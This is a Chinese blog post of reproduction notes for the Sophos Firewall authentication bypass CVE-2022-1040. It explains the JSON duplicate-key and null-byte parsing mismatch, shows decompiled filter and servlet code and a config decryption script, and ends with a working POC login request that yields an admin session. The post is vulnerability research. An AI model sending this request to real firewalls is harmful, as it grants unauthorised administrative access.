CVE-2022-1040复现笔记
发表于:2024-04-01 |
字数统计: 3.4k | 阅读时长: 18分钟 | 阅读量:

CVE-2022-1040复现笔记

sophos

网络配置

网络适配器配置为NAT

Untitled

利用虚拟机console配置portA网卡为NAT_ip,这样主机就可以和虚拟机通信了。

开启虚拟机ssh功能,修改ssh配置文件:

Untitled

1
2
ssh admin@NAT_IP
#密码admin,连上后要求修改密码

CSC配置文件解包

逆向分析csc,存在解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
num1=[0x7F,0x90,0x0F9,0x0AB,0x0E,0x0CE,0x0B2,0x90,0x0AE,0x2F,0x59,0x0F1,0x0D0,0x0AD,0x0B7,0x11,0x7A,0x6A,0x4B,0x54,0x1A,0x9B,0x4D,0x71,0x0C5,0x8F,0x0ED,0x65,0x0D2,0x19,0x5C,0x0CD,0x0E8,0x1A,0x0EE,0x0D9,0x5D,0x1F,0x0F1,0x90,0x0B7,0x8E,0x5D,0x0D7,0x8,0x0E0,0x0C3,0x98,0x0C9,0x65,0x0ED,0x3B,0x0AC,0x0A0,0x0A1,0x0A3,0x0C2,0x0B3,0x0F,0x0DD,0x0EE,0x0A6,0x9A,0x0E9]
num2=[0x0B3,0x0C0,0x0D4,0x0AC,0x24,0x0B9,0x93,0x0D8,0x62,0x5E,0x5D,0x0FC,0x18,0x37,0x0F4,0x3F,0x4A,0x39,0x94,0x4C,0x0E4,0x12,0x98,0x0DC,0x36,0x0A0,0x4E,0x4D,0x1F,0x10,0x5C,0x5C,0x3D,0x6B,0x46,0x61,0x0E,0x5C,0x6F,0x4A,0x0BB,0x73,0x0BA,0x0A7,0x34,0x0A7,0x21,0x0EF,0x79,0x32,0x51,0x7A,0x0A4,0x0DC,0x90,0x0F6,0x16,0x87,0x0FA,0x0C0,0x58,0x64,0x12,0x44]
num3=[0x0AD,0x27,0x5A,0x0BD,0x5E,0x56,0x0A,0x0CA,0x5A,0x7F,0x0D0,0x0A0,0x87,0x2A,0x0A6,0x6B,0x83,0x34,0x0D8,0x0CD,0x6A,0x58,0x5F,0x1C,0x0B2,0x0B7,0x0BC,0x40,0x9E,0x44,0x25,0x8F,0x0F3,0x0C2,0x74,0x1F,0x50,0x0F1,0x7A,0x76,0x45,0x7C,0x50,0x99,0x29,0x0F6,0x90,0x0AA,0x20,0x8F,0x4D,0x64,0x18,0x0DA,0x46,0x0E9,0x9B,0x9C,0x48,0x7C,0x0B7,0x0DA,0x0F,0x46]
num_key=[0]*64
file_64_int=[0]*1024

for i in range(64):
num_key[i] = num3[i] ^ ((num2[i] * num1[i]) % 0xFF)
#print(len(num_key))
with open('cscconf.bin','rb') as f:
f.seek(0,2)
file_len=f.tell()
#print(file_len)
f.seek(0,0)
t = open('cscconf.tar.gz','wb')
for a in range(file_len//0x420):
if file_len > 0x41f:
file_64_bytes=f.read(0x420)
#print(len(file_64_int))
j = 0
for i in range(1024):
#print(i)
file_64_int[i] = file_64_bytes[i+16] ^ (num_key[j])
j += 1
if j > 63:
j = 0

t.write(bytes(file_64_int))
file_len -= 0x420
else:
break

JSON与PERL差异(粘贴参考文章)

漏洞原理可简单理解为 Java 在使用 unicode \\u0000 时,JSON 认为 key 是两个不同的 key 并没有 0 字节截断,当 Java 把含有 unicode 编码的 key 发送给后端的 Perl处理时 \\u0000 产生了截断效果,使得带有 unicode 编码的 key 变为了 mode, Perl 可以处理重复 key 的 JSON,如果重复则后面覆盖前面的值

Untitled

我们可以通过一个示例来对比不同语言处理 JSON 重复键的差异性。Java 处理带有 unicode 编码的 key 时可以正常解析:

1
2
3
4
5
6
7
8
9
10
11
12
import org.json.JSONObject;
import org.json.JSONException;
import java.io.*;
class test {
public static void main(String[] args) {
try{
System.out.println(new JSONObject("{ \\"name\\": \\"test\\", \\"name\\\\u0000ef\\": \\"test2\\"}"));
}catch (JSONException e){
System.out.println(e);
}
}
}

Untitled

Perl 处理 Java 传递过来的零字节字符串就会产生截断效果,在处理相同 key 值的 JSON 时会取最后一个 key 对应的 value

1
2
3
4
5
6
#!/usr/bin/perl
use JSON;

my %rec_hash = ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'a' => 6);
my $json = encode_json \\%rec_hash;
print "$json\\n";

其结果为 a 被覆盖为了最后一个 a 的值:

Untitled

不同语言对 JSON 解析的差异性是此次认证绕过漏洞的核心原理。Java 接收来自用户的以下数据(其中 \\u0000 后面的 ef 是为了让 JSON中 key 的 hash 排序将 716 排到 151 的后面):

1
{"mode":151,"mode\\u0000ef":716}

2024-4-16修改:最近在公众号上看到又有分析这个漏洞的文章,他提到该漏洞是由于两种不同的json解析器的差异导致。以下内容粘贴自参考文献。

主要起作用的是modejson两个参数,jetty侧会通过org.json-20090211这个库解析json参数传的json数据,通过cscClient.generateAndSendAjaxEvent发送到CSC做认证,发送前会将mode参数put到解析后的json中,如果这里返回的状态码是200或者201,则认为是登录认证通过。

图片

jetty侧的org.json-20090211这个库对于重复键会抛出异常

图片
运行结果如下

图片

csc使用的json-c这个库来解析输入的数据,对于重复键,则取后面一个

图片

运行结果如下

图片

并且当json的key中出现unicode空字符时,json-c对空字符会做截断,但org.json-json库会保留

图片

运行结果如下

图片

认证绕过漏洞复现

  • 环境:VI-18.5.1_MR-1.VMW-326

对比文件,发现在web.xml中添加一段

Untitled

并且新增一个requestcheckfilter.class文件,拖入jadx中分析,发现他会检测json是否存在不可打印字符,如果存在,则会重定向到登录界面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
   #####################这段没分析明白#################################
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
ServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
CyberoamLogger.info(MODULE, "URI: " + servletRequest.getRequestURI());
try {
if (request.getContentType() != null && request.getContentType().toLowerCase().startsWith("multipart/form-data")) {
boolean isApi = "/webconsole/APIController".equals(servletRequest.getRequestURI());
if (HttpSessionHelper.isExpired(servletRequest) && !isApi) {
CyberoamLogger.info(MODULE, "Pre-Auth multipart request is not allowed");
redirectToLogin(servletRequest, httpResponse);
return;
} else if (!isApi) {
boolean multipartReqAllowed = true;
try {
HttpSession session = servletRequest.getSession();
SessionBean sessionBean = (SessionBean) session.getAttribute("sessionbean");
SessionType sessionType = sessionBean.getSessionType();
multipartReqAllowed = sessionType == SessionType.WEB_ADMIN || sessionType == SessionType.CENTRAL_MANAGEMENT || sessionType == SessionType.SSO_WEBCONSOLE;
CyberoamLogger.debug(MODULE, "multipart request allowed?: " + multipartReqAllowed);
} catch (Exception e) {
CyberoamLogger.error(MODULE, "Error in multipartReqAllowed determination", e);
}
if (!multipartReqAllowed) {
CyberoamLogger.info(MODULE, "User portal multipart request is not allowed");
redirectToLogin(servletRequest, httpResponse);
return;
}
try {
servletRequest = new MultipartRequest((HttpServletRequest) request, MultipartRequest.getFileUploadPath());
request = servletRequest;
} catch (Exception e2) {
CyberoamLogger.error(MODULE, "Error in check for multipart request", e2);
}
}
}
Map<String, String[]> requestParameterMap = new HashMap<>(request.getParameterMap());
for (String key : requestParameterMap.keySet()) {
if (!isvalidRequestParam(key) || metaParam.contains(key)) {
CyberoamLogger.info(MODULE, "PRE_AUTH_OPERATION malformed request payload: " + key + ":" + request.getParameter(key));
redirectToLogin(servletRequest, httpResponse);
return;
}
}
try {
if (request.getParameter("json") != null) {
JSONObject jsonObject = new JSONObject(servletRequest.getParameter("json"));
if (!isValidJson(jsonObject, 10)) {
CyberoamLogger.info(MODULE, "PRE_AUTH_OPERATION malformed request payload: " + request.getParameter("json"));
redirectToLogin(servletRequest, httpResponse);
return;
}
} else {
CyberoamLogger.debug(MODULE, "Request parameter json not found in request payload");
}
} catch (Exception e3) {
CyberoamLogger.error(MODULE, "Exception in json object parsing: ", e3);
}
chain.doFilter(servletRequest, httpResponse);
} catch (Exception e4) {
CyberoamLogger.error(MODULE, "Exception in doFilter: ", e4);
}
}
###################################################
public static boolean isValidJson(JSONObject jsonObject, int recursionLevel) throws JSONException {
if (recursionLevel == 0) {
CyberoamLogger.info(MODULE, "Invalid deeply nested object in request.");
return false;
}
Iterator<String> jsonkeys = jsonObject.keys();
while (jsonkeys.hasNext()) {
String key = jsonkeys.next();
if (!isAsciiPrintable(key)) {
CyberoamLogger.info(MODULE, "JSON key with non-ASCII printable characters! key=" + key);
return false;
} else if (metaParam.contains(key)) {
CyberoamLogger.info(MODULE, "PRE_AUTH_OPERATION malformed request payload: key: " + key);
return false;
} else {
Object value = jsonObject.get(key);
if (value instanceof JSONObject) {
if (!isValidJson((JSONObject) value, recursionLevel - 1)) {
return false;
}
} else if ((value instanceof JSONArray) && !isValidJsonArray((JSONArray) value, recursionLevel - 1)) {
return false;
}
}
}
return true;
}

public static boolean isValidJsonArray(JSONArray jArray, int recursionLevel) throws JSONException {
if (recursionLevel == 0) {
CyberoamLogger.info(MODULE, "Invalid deeply nested object in request.");
return false;
}
for (int i = 0; i < jArray.length(); i++) {
Object value = jArray.get(i);
if (value instanceof JSONObject) {
if (!isValidJson((JSONObject) value, recursionLevel - 1)) {
return false;
}
} else if ((value instanceof JSONArray) && !isValidJsonArray((JSONArray) value, recursionLevel - 1)) {
return false;
}
}
return true;
}

private static boolean isAsciiPrintable(String str) {
if (str == null) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (!isAsciiPrintable(str.charAt(i))) {
return false;
}
}
return true;
}

private static boolean isAsciiPrintable(char ch) {
return ch >= ' ' && ch < 127;
}

public static void redirectToLogin(HttpServletRequest request, HttpServletResponse response) {
try {
if ("XMLHttpRequest".equals(request.getHeader("X-Requested-With"))) {
PrintWriter out = response.getWriter();
JSONObject responseObject = new JSONObject();
responseObject.put("status", 400);
out.println(responseObject.toString());
} else {
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
response.setDateHeader("Expires", -1L);
response.sendRedirect(request.getContextPath() + "/webpages/logout.jsp");
}
} catch (IOException | JSONException e) {
CyberoamLogger.error(MODULE, "Exception in redirectToLogin:", e);
}
}
}

既然过滤了不可显示字符,那应该就是在编码不可显示字符时存在漏洞。

抓取登陆包,分析是如何处理登录包的

Untitled

在web.xml中发现,可知,/Controller交由cyberoam.corporate.servlets.CyberoamCommonServlet 处理,分析一下这个类

1
2
3
4
5
6
7
8
9
 <servlet>
<servlet-name>Controller</servlet-name>
<servlet-class>cyberoam.corporate.servlets.CyberoamCommonServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Controller</servlet-name>
<url-pattern>/Controller</url-pattern>
</servlet-mapping>

根据登陆包中mode=151 ,在doPost方法中处理mode时,会交给_doPost处理。这里的mode是直接从登录包中的post数据mode=中获取。

1
2
3
4
5
6
try {...
mode = Integer.parseInt(request.getParameter("mode"));
if{...} else {
_doPost(request, response, mode, sqlReader2);
}
}

在_doPost中,会根据mode值返回eventObject对象,eventObject 是从数据库中读出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if{...} else {
eventObject = EventBean.getEventByMode(mode);
}
########################################

public static EventBean getEventByMode(int mode) {
if (eventBeanMap == null) {
loadAll(false);
}
EventBean eventBean = (EventBean) eventBeanMap.get(Integer.valueOf(mode));
if (eventBean == null) {
eventBean = getEventByModeFromDb(mode);
}
return eventBean;
}
########################################
private static void loadAll(boolean reload) {
......
try {
try {
sqlReader = new SqlReader();
PreparedStatementBuffer preSqlQuery = new PreparedStatementBuffer("select opcode,mode,waitforresponse,operationtype,responsetype,requesttype,opcodetype,responsetimeout,entityid,beanname,syncable,comprotocol,query,requestname from tblcrevent order by mode");
rsw = sqlReader.getInstanceResultSetWrapperForPreparedStatement(preSqlQuery);
eventList = new HashMap();
while (rsw.next()) {
EventBean eventBean = getEventBeanFromResultSetWrapper(rsw);
eventList.put(new Integer(eventBean.getMode()), eventBean);
}
......
} catch (Exception e2) {
......
}
eventBeanMap = eventList;
}
}
########################################
private static EventBean getEventByModeFromDb(int mode) {
EventBean eventBean = null;
SqlReader sqlReader = null;
ResultSetWrapper rsw = null;
try {
try {
sqlReader = new SqlReader();
PreparedStatementBuffer preSqlQuery = new PreparedStatementBuffer("select opcode,mode,waitforresponse,operationtype,responsetype,requesttype,opcodetype,responsetimeout,entityid,beanname, syncable,comprotocol,query,requestname from tblcrevent where mode=?");
preSqlQuery.setInt(1, mode);
rsw = sqlReader.getInstanceResultSetWrapperForPreparedStatement(preSqlQuery);
if (rsw.next()) {
eventBean = getEventBeanFromResultSetWrapper(rsw);
}
......
}

跟进去发现是使用jdbc连接postgresql数据库,数据库配置文件如下

1
2
3
4
public boolean initialize() throws Exception {
boolean success = initialize("ConnectionPool.cfg");
return success;
}

Untitled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ConnectionPool.cfg
#corporate为database名称

JDBCDriver=org.postgresql.Driver
JDBCConnectionURL=jdbc:postgresql://127.0.0.1:5432/corporate?user=pgrouser&autoReconnect=true
ConnectionPoolSize=3
ConnectionPoolMax=30

#for some drivers use count is required
#if not required then use 0
ConnectionUseCount=10000
#Time out connection after 900 seconds i.e. 15 minutes
ConnectionTimeout=1800
#Check for Connection sanity every 900 seconds i.e. 15 minutes
TimerInterval=1800
User=pgrouser
Password=
psql -U pgrouser -d corporate` 登录数据库,利用上面的命令查询一下`select opcode,mode,waitforresponse,operationtype,responsetype,requesttype,opcodetype,responsetimeout,entityid,beanname,syncable,comprotocol,query,requestname from tblcrevent order by mode;

Untitled

可以看见mode=151对应的requesttype=2,因此进入 CyberoamCustomHelper.process(servletRequest, response, eventObject, transactionBean, sqlReader); 完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
private void _doPost(HttpServletRequest servletRequest, HttpServletResponse response, int mode, SqlReader sqlReader) throws IOException, JSONException {
EventBean eventObject;
HttpSession session = servletRequest.getSession(false);
TransactionBean transactionBean = new TransactionBean();
if (mode == 603 && CSCConstants.isCCC) {
CyberoamLogger.debug(LogModules.CSC, "Login Req.: " + mode);
SqlReader.putThreadSchemaMapValue(servletRequest.getParameter("appkey"));
eventObject = new EventBean();
eventObject.setMode(mode);
eventObject.setOPCode("ccc_appliance_login");
eventObject.setRequesttype(2);
} else if (mode == 6000) {
CyberoamLogger.debug(LogModules.CSC, "Login Req.: " + mode);
eventObject = new EventBean();
eventObject.setMode(mode);
eventObject.setOPCode("validate_hammer_token");
eventObject.setRequesttype(2);
} else if (SophosConnectHelper.isScMode(mode)) {
eventObject = new EventBean();
eventObject.setMode(mode);
eventObject.setRequesttype(2);
eventObject.setOPCode("");
} else {
eventObject = EventBean.getEventByMode(mode);
}
try {
CyberoamLogger.info(LogModules.CSC, "EventBean: " + eventObject.toString());
} catch (Exception e) {
}
if (eventObject == null) {
CyberoamLogger.error(LogModules.CSC, "EVENT Object is null", null);
response.sendRedirect(servletRequest.getContextPath() + "/webpages/error.jsp");
} else if (!eventObject.getOPCode().equals("login") && !eventObject.getOPCode().equals("iview_login") && eventObject.getMode() != 405 && !eventObject.getOPCode().equals("login_report") && eventObject.getMode() != 451 && eventObject.getMode() != 458 && !eventObject.getOPCode().equals("ccc_login") && eventObject.getMode() != 603 && eventObject.getMode() != 6000 && eventObject.getMode() != 746 && eventObject.getMode() != 958 && eventObject.getMode() != 605 && eventObject.getMode() != 2531 && eventObject.getMode() != 2524 && !SophosConnectHelper.isScMode(eventObject.getMode()) && HttpSessionHelper.isExpired(servletRequest)) {
if ("XMLHttpRequest".equals(servletRequest.getHeader("X-Requested-With"))) {
CyberoamLogger.debug(LogModules.CSC, "Session Response is: 597");
PrintWriter out = response.getWriter();
JSONObject responseObject = new JSONObject();
responseObject.put("status", CSCConstants.SESSION_EXPIRED);
out.println(responseObject.toString());
return;
}
response.sendRedirect(servletRequest.getContextPath() + "/webpages/login.jsp");
} else {
if (session == null || session.getAttribute("debugmode") == null) {
EventBean.setDebug((short) 0);
} else if ("ON".equalsIgnoreCase((String) session.getAttribute("debugmode"))) {
EventBean.setDebug((short) 1);
} else {
EventBean.setDebug((short) 0);
}
CyberoamLogger.debug(LogModules.CSC, "EventBean.debug " + ((int) EventBean.getDebug()));
CyberoamLogger.debug(LogModules.CSC, "Request Type is: " + eventObject.getRequesttype());
if (servletRequest.getSession().getAttribute("sessionbean") != null) {
try {
int userid = ((SessionBean) servletRequest.getSession().getAttribute("sessionbean")).getUserID();
CyberoamLogger.debug(LogModules.ACL, "userid " + userid + " entityid " + eventObject.getEntityID());
if (!ACLImplHelper.isPageReadable(userid, eventObject.getEntityID(), sqlReader, servletRequest)) {
PrintWriter out2 = response.getWriter();
out2.print("{\\"status\\":599}");
out2.close();
return;
}
} catch (Exception e2) {
}
}
if (eventObject.getRequesttype() == 1) {
String transactionID = CSCClient.getTransactionID();
transactionBean.setTransactionID(transactionID);
CyberoamAjaxHelper.process(servletRequest, response, eventObject, transactionBean, sqlReader);
} else if (eventObject.getRequesttype() != 2) {
new CSCClient().generateAndSendOpcode(servletRequest, response, eventObject, transactionBean, sqlReader);
} else {
String transactionID2 = CSCClient.getTransactionID();
transactionBean.setTransactionID(transactionID2);
CyberoamCustomHelper.process(servletRequest, response, eventObject, transactionBean, sqlReader);
}
}
}

继续跟进发现在WebAdminAuth 中处理

1
2
3
4
else if (151 == eventBean.getMode()) {
WebAdminAuth.process(request, response, eventBean, sqlReader);
return;
}

只要返回状态码为200,就会认证成功,并且返回session

Untitled

跟进cscClient.generateAndSendAjaxEvent 发现会通过299端口交由csc处理,csc又交由perl处理(这块笔者没有准确分析出是如何交由的,大概知道是由perl c api,写在csc里)

Untitled

当responsetype不等于1时会读取响应包中json的status参数。

Untitled

也就是说只要找到会返回status200、requesttype=2,responsetype!=1的mode即可。

发现mode=716满足要求,注意accessaction=1 一下图片所示文件存在于/PATH/cscvalidation/system/logindisclaimeraction.pm/PATH/cscconf/system/configure.conf ,由csc解包配置文件获得。

Untitled

Untitled

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /webconsole/Controller HTTP/1.1
Host: 192.168.139.132:4444
Cookie: JSESSIONID=qqolm2kbnaskwvh7pyils91k4
Content-Length: 267
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Accept: text/plain, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Sec-Ch-Ua-Platform: "Windows"
Origin: <https://192.168.139.132:4444>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: <https://192.168.139.132:4444/webconsole/webpages/login.jsp>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

mode=151&json=%7B%22username%22%3A%22admin%22%2C%22password%22%3A%22%22%2C%22languageid%22%3A%224%22%2C%22browser%22%3A%22Chrome_123%22%2c%22mode%22%3a151%2c%22mode\\u0000ef%22%3a716%2c%22accessaction%22%3a%221%22%7D&__RequestType=ajax&t=1711797000914

将返回包返回的session替换掉浏览器的返回包并且输入index.jsp即可绕过认证。

问题

  • 在csc中没有找到是如何传递给perl执行的代码段
  • 处理json时的perl代码

关于第一个问题,在分析csc时看见execute_opcode_request 函数,该函数中会初始化perl并读取json数据转化为perl,猜测handle_perl函数是对perl数据的处理。

Untitled

找到了类似exec opcode的代码

Untitled

猜测是从csc配置文件中读取opcode代码并执行。

Untitled

参考

CVE-2022-1040 Sophos Firewall 服务架构与认证绕过漏洞分析之旅 (seebug.org)

https://mp.weixin.qq.com/s/Sy_B-PfIQSqwUZIkWBhEDw

上一篇:
日志
下一篇:
年终回忆-2023